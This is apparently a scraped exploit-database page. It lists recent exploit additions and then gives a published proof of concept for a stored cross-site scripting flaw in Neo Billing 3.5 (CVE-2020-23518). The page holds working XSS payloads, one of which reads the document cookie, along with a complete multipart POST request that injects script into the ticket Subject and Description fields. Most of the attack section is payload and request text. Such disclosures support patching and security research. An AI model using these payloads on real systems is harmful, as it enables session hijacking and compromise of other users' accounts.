5572674576
8 changes to exploits/shellcodes e107 CMS 2.3.0 - CSRF Online Ordering System 1.0 - Arbitrary File Upload to Remote Code Execution Textpattern CMS 4.8.4 - 'Comments' Persistent Cross-Site Scripting (XSS) Textpattern CMS 4.9.0-dev - 'Excerpt' Persistent Cross-Site Scripting (XSS) Online Ordering System 1.0 - Blind SQL Injection (Unauthenticated) Web Based Quiz System 1.0 - 'eid' Union Based Sql Injection (Authenticated) Textpattern 4.8.3 - Remote code execution (Authenticated) (2)
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2.3 KiB
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58 lines
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2.3 KiB
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# Exploit Title: Neo Billing 3.5 - Stored Cross Site Scripting Vulnerability
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# Date: 18.8.2019.
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# Exploit Author: n1x_ [MS-WEB]
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# Vendor Homepage: https://codecanyon.net/item/neo-billing-accounting-invoicing-and-crm-software/20896547
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# Version: 3.5
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# CWE : CWE-79
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# CVE: CVE-2020-23518
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[Description]
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# Neo Billing os an accounting, invoicing and CRM PHP script, with over 500 installations.
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# Due to improper input fields data filtering, version 3.5 (and possibly previous versions), are affected by a stored XSS vulnerability.
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[Proof of Concept]
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# 1. Authorization as customer (regular user account) [//host/neo/crm/user/login]
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# 2. Closing an input field tag and injecting code into 'Subject' or 'Description' text fields [//host/neo/crm/tickets/addticket]
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# 3. The code is stored [//host/neo/crm/tickets] ∨ [//host/neo/crm/tickets/thread/?id=ticketid]
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[Example paylods]
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# Example payload: "><img src="x" onerror="alert('XSS');">
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# Example payload: "><script>alert(document.cookie)</script>
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[POST Request]
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POST /neo/crm/tickets/addticket HTTP/1.1
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Host: host
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User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Referer: //host/neo/crm/tickets/addticket
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Content-Type: multipart/form-data; boundary=---------------------------899768029113033755249127523
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Content-Length: 694
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Cookie: __cfduid=d99e93624fe63d5aa953bf59cd28cdafe1566123585; ci_sessions=nel35vfb2hi5f9tt29l43ogn36hdmilj
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Connection: close
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Upgrade-Insecure-Requests: 1
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-----------------------------899768029113033755249127523
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Content-Disposition: form-data; name="title"
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"><script>alert('XSS')</script>
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-----------------------------899768029113033755249127523
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Content-Disposition: form-data; name="content"
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<p>"><script>alert('XSS')</script><br></p>
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-----------------------------899768029113033755249127523
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Content-Disposition: form-data; name="files"; filename=""
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Content-Type: application/octet-stream
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-----------------------------899768029113033755249127523
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Content-Disposition: form-data; name="userfile"; filename=""
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Content-Type: application/octet-stream
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-----------------------------899768029113033755249127523-- |